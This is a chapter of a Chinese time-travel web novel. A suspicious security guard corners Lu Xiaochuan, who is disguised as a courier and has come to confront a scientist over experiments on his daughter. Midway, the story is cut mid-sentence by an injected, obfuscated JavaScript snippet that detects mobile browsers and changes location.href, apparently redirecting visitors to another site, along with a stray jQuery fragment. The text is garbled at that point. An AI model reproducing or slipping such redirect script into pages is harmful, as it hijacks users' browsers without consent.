81. 穿越者(10)
作品:《末世第1初恋》 下午三点,绿园小区保安老杨离老远就瞧见了那个戴黑色头盔、蹬着破摩托的快递员,他身后塑料框里的快递纸箱堆成了一座小山,老杨没想太多就开了门。
往日出入他们小区的是个矮小敦实的快递员,穿着红色马甲,脾气看上去不太好,总是火急火燎的,今天这小伙儿像是新来的,刚干这行身上很有朝气,见老杨开门,对他把头一点。
小伙子戴着口罩,头盔挡风镜下的眼镜眯成了两条细缝,老杨觉得他在对自己笑。
他驶过大门后便开始加速,身影如风,赶着溅起的雨水飞驰而去。
老杨盯着他的背影晃了会儿神。
这人身上披了件深灰色的马甲,车上也没贴标识,而且干这行的开车就跟呼吸一样轻松,在这种缺乏管制的街区,为了省事儿一般都不会把头盔戴得那么严实。
更重要的是,那双眼睛,老杨总觉得自己在哪儿见过。
他从抽屉里翻出一张照片,戴上老花镜细看。
照片上的人脸侧有一道黑线,像耳前趴了一条蜈蚣,应该是道疤,他头发很长,眼神茫然,挺拔硬朗的身形和刚刚过去的快递员很像。
照片是昨晚一个开面包车的人留给他的,老杨当时一眼就认了出来,好心提供了线索,结果那人连谢谢都没说,掏了张四不像的证件就喝令老杨开门。
老杨一下火了,从保安亭出来和他们理论了半天,后来那两人急了,一个电话摇到了省公安厅,老杨见对方不好惹,只能悻悻开门把他们放了进去。
好在那两个人只在小区里待了不到一个小时,出来时车上也没有第三个人。
临走时,他们给老杨留了一串号码,叫他见到照片上的人立刻打电话,老杨全当耳边风应付过去了。
现在疫情刚过,大伙儿出门都戴着口罩,连业主通道的人脸识别系统都停用了,他总不能遇见可疑的就叫人家脱口罩核查吧?
而且那两人既没警官证也没提举报奖金,说话做事还那么豪横,就算刚刚过去的快递员真是昨晚那个脸上有疤的小伙儿,老杨也懒得给他们通风报信。
但话说回来,那两个穿制服的人又怎么会认识省公安厅的人呢?
昨晚他们拨通电话,对面的人很快就报出了支队名和警号,以执行公务为由要求老杨放行,似乎对这边的情况很了解。
临走时老杨也问过他们为什么要找这个人,对方的回答是:“他很危险。”
他很危险......
一个三十岁左右的年轻人能有什么危险?
如果事情已经惊动了省公安厅,为什么来的不是警队,而是穿着制服的企业安保人员?
老杨点燃一支烟,越品越觉得这件事很微妙。
要是他真的很危险呢?
那个笑容爽朗的小伙子会不会是什么反社会人格的恐怖分子?省厅为了不惊动他才派便衣尾随?
他摩托车上装的东西,难道是炸药?
不对。
老杨掐灭了烟头。
他想浅了。
现在科技这么发达,据说一小罐有毒的化学物质就能杀死一整栋居民楼的人。
他记得昨晚那两个人的制服上有“药物”的字样,难道疤脸男从他们公司偷走了什么致命的化学药剂,要出来报复社会?
要是这样的事真的发生在绿园小区,他老杨无论如何都难辞其咎。
老杨想到这儿,披上制服、提起橡胶棍就出了门。
雨后天气很好,陆小川轻车熟路,一路乘着风将摩托开到36号楼前,然后摘下头盔,拔下车钥匙,捧着菜场低价收来的空纸箱翻身下车。
他身上的行头都是新的,马甲里头是件黑色的短袖运动衫,下身的咖色工装裤和楼依然在灵泉镇给他挑的那条很像。
楼队的要求向来都很高,合理推测,这身装扮在楼彦霖那儿应该也能及格。
陆小川来前在沙县老板娘推荐的澡堂洗了个澡,目前下巴光洁,头发扎得也很利落。
他本来还想理个发,但路过的理发店里都装了监控,陆小川不想惹事,更不敢怠慢了楼依然送的发圈。
行头焕然一新,加上骑车吹了一路的风,现在他整个人神清气爽,身上放着自信的光芒。
早些时候他从曹洋洋那里获取到了一则重要信息:今天是星期六。
星期六登门拜访,楼依然很可能在家。
楼依然要是见到他一定会觉得他是变态吧?昨晚蹭饭的人今天居然找到自家门口,还鬼鬼祟祟背着她拉着她爸密谋?
不然当着楼依然的面直接和楼彦霖摊牌呢?
陆小川相信他和楼依然的默契,要是楼依然愿意信他,搞不好还会和他一起劝楼彦霖收手。
楼依然警告过他,回到过去后不要去找她,但他一个没忍住破了戒,结果好像还不错?
《穿越指南》也警告过他要“秘密行事”,但早上在咖啡馆,除了爆炸和废土世界的事,陆小川连穿越的事都告诉曹洋洋了,目前为止似乎也没什么异常?
陆小川思来想去,最后只得出一个结论。
——他运气很好。
运气好的人没必要做风险管控,正如眼下,陆小川原本只是想来七楼碰碰运气,结果连门都没敲,就轻松锁定了目标。
七楼左边房门前的木柜上放着一个快递盒,收件人那栏赫然写着“楼彦霖”三个大字,而下面的寄件人,陆小川刚巧也认识。
——曹雪芳。
没记错的话,这应该是楼依然母亲的名字。
曹雪芳的地址在省外,她回家探亲了?
还是说,楼依然其实来自单亲家庭?
三天前陆小川刚和楼依然去过曹雪芳的家,他本以为楼依然会带他进屋找找线索,毕竟楼彦霖是救赎病毒的奠基人,楼依然自己也怀疑他和爆炸有关,但他们见过曹雪芳后就匆匆离开了。
当时的情况很复杂,陆小川不好多问,但从穿越前楼依然给他的地址来看,末日前楼彦霖和曹雪芳并不住在一起。
这么看,他们夫妻俩可能很早就离异了。
可楼依然显然也住这,所以她目前是在跟父亲一起生活?
她跟楼彦霖住是为了上学方便吗?
曹雪芳又知不知道楼彦霖在楼依然身上做实验的事?
在B区公寓第一次了解到楼依然的过往时,陆小川震惊到不知所言。
他无法理解一个正常人怎么会对亲生女儿做出那么残忍的事,他很愤怒,也很心疼,但所有的情绪都无从宣泄,因为楼依然当时过于平静,平静到像在述说一件和自己毫不相干的事。
陆小川意识到她已经放下了,就算还没放下,也至少不会因此产生任何过激的情绪,于是陆小川也只能配合着她冷静下来,省去迟到的关怀,不去追问更多细节。
但那段经历塑造了楼依然。
后来她成了一个习惯推开所有人、独立且自强的人,她决定去拥抱那份痛苦、与痛苦融合,哪怕那些事本不该发生在她身上。
或许也是因此,抵达Y市后,楼依然根本就没想过要去找楼彦霖。
她称之为“家”的地方是母亲的住所——在当时楼依然的认知中,楼彦霖或许连家人都算不上。
楼彦霖是圣体项目组的成员,但楼依然却是在看过纪录片之后才意识到楼彦霖与爆炸有关的,他们在末日前的很长一段时间里关系应该都很疏远。
从2023年到2029年末日降临,这期间到底发生了什么?
陆小川怀里原本抱着曹雪芳寄来的快递,但在敲门前,他又把箱子放下了。
他不打算装成快递员了。
先前楼依然跋涉千里去找曹雪芳,让陆小川觉得她家庭氛围不错,成为实验品也是她家内部达成的共识,但如果曹雪芳和楼彦霖已经离婚了,人体实验八成就是楼彦霖一厢情愿的事。
他很可能是个连亲生女儿都能拿来利用的糟糕父亲,如果真是这样,陆小川动起手来也没什么需
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911804|177460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要顾及的。
待会见到楼彦霖,他要像个男人一样批判他的恶行,告诉楼彦霖他的女儿因为那些狗屁实验受了多少苦,就是他让楼依然变成异类,活成了孤岛,难受到只能半夜去放映会坐着马扎哭!
要是楼彦霖听了这些还执迷不悟,他就冲进去砸碎他的设备,倒光他的药剂,打市长热线举报他在私人实验室做人体实验!
陆小川攥紧拳头在门上砸了几下,然后挺直腰板站在原地等着,冰冷的砸击声在楼道里回响,许久无人应答。
也对,连快递都没收,楼彦霖这个点儿应该还没回家。
陆小川决定守在楼下等楼彦霖回家,反正他正愁怎么打发时间。
临走时,陆小川掏出纸笔抄下楼彦霖的号码,顺便把曹雪芳的也记下来了。
一连两天错过目标,陆小川不确定他究竟能不能找到楼彦霖,如果当中出现意外致使他必须逃跑,无论是逃离Y市还是彻底告别这个时空,离开前他至少还能和楼彦霖打个电话。
陆小川捧着空纸箱下了楼,推开单元门,却看到一个穿制服的大爷正甩着橡胶棍倚在他摩托车的车座边儿上,另一只手上拖了个空纸箱。
他似乎听到了下楼声,此刻仰着下巴看了过来。
陆小川很快认出来这是小区门口的保安大爷,昨晚算上刚才,他们一共打过两次照面,但眼下他戴着口罩,大爷很可能没认出来。
他下意识紧了紧口罩,确保能完全遮住脸上的疤。
大爷看他的眼神很不友善,而陆小川本身就在角色扮演,一瞬间被大爷盯得有些出戏,感觉很像小时候到别人家偷瓜,出门时被抓了个正着,眼神下意识游离开,不敢和瓜主对视。
陆小川上初中后就没去邻居家偷过瓜了,他做人一向端正,很久没这么心虚过,眼下只能硬着头皮演下去。
他捧着纸箱凑了过去,“我知道这儿不让停车,没堵路吧?我现在就开走。”
陆小川说完掏出车钥匙插上,顺手把大爷手里的纸箱接过来,连同自己怀里的一起丢进了后座的塑料框。
但他用力过猛,顶上的纸箱把下面的压得凹陷下去,脆弱的纸壳发出空箱特有的沙沙声响,几只箱子在栏框里像豆腐一样晃晃悠悠,搞得场面愈发尴尬。
“你是送快递的?”
老杨斜眼看过来。
“对。”
陆小川跨上车座,跟着又小声补上一句:“有时候也拣点儿纸壳箱子卖钱。”
他说完回身一笑:“赚点钱不容易。”心里祈祷着保安大爷能就此放过他。
但大爷没挪身子,他一手拎着甩棍,屁股死死顶在车座边沿,几乎要贴上陆小川的腰。
“你快递送完了?”大爷又问。
“送完了,准备下班了。”
陆小川用脚挪开边撑,刚准备扭动钥匙,大爷却先他一步把车钥匙拔了下来。
“小子,”大爷慢悠悠地说:“你看起来挺急啊。”
“急。”
陆小川陪笑,“干我们这行的都急。”
“你不是下班了吗?下班了还急什么?”
陆小川:“急着回家。”
大爷似乎懂点语言艺术,来来回回不问正事,提的问题各个刁钻,好像早已看穿一切,只是闲着没事干,想看看陆小川到底能撑多久。
大爷像在耍猴,而陆小川就是那只猴,猴子浑身难受,却没胆一脚油门冲出去,只能杵在这儿陪大爷过嘴瘾。
“你刚刚送的是哪家的快递啊?”
大爷扬起尾音问。
“702。”
陆小川回答得很快。
“702?”
大爷嘴上重复着靠了过来,好像终于失去了耐心。
他撸起袖子,抬手准备摘下陆小川的口罩,一道清亮的女声却从身后传了过来。
——“小山哥?”
陆小川转过身,看着出现在路口的明媚少女,“哇”地一声哭了起来。

